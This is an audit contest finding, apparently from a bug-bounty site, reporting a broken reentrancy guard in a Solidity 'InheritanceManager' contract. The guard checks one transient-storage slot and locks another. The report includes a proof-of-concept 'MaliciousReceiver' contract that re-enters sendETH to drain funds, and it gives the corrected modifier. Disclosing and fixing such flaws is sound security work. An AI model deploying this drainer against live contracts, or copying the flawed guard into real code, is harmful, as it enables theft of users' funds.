Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Ineffective Reentrancy Guard

Summary : The nonReentrant modifier using transient storage is incorrectly implemented, failing to protect against reentrancy attacks

Vulnerability Details : The code checks tload(1) but sets the lock at tstore(0, 1), using different slots. This means the check and the lock are on different storage locations, rendering the reentrancy protection ineffective.

modifier nonReentrant() {
assembly {
if tload(1) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}

Impact : High. Functions using this modifier remain vulnerable to reentrancy attacks, which could allow draining of funds or manipulation of contract state.

Tools Used

Proof of concept :

function testReentrancyVulnerability() public {
// Setup a malicious contract that can reenter
MaliciousReceiver attacker = new MaliciousReceiver(address(inheritanceManager));
// Fund the inheritance manager
vm.deal(address(inheritanceManager), 10 ether);
// Owner sends ETH to the attacker
vm.prank(owner);
inheritanceManager.sendETH(1 ether, address(attacker));
// Verify attacker was able to drain funds through reentrancy
assertEq(address(inheritanceManager).balance, 0);
}
contract MaliciousReceiver {
InheritanceManager target;
uint256 count = 0;
constructor(address _target) {
target = InheritanceManager(_target);
}
receive() external payable {
if (count < 10 && address(target).balance > 0) {
count++;
// Reenter and drain
target.sendETH(address(target).balance, address(this));
}
}
}

Recommendations :

modifier nonReentrant() {
assembly {
if tload(0) { revert(0, 0) }
tstore(0, 1)
}
_;
assembly {
tstore(0, 0)
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Wrong value in nonReentrant modifier

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.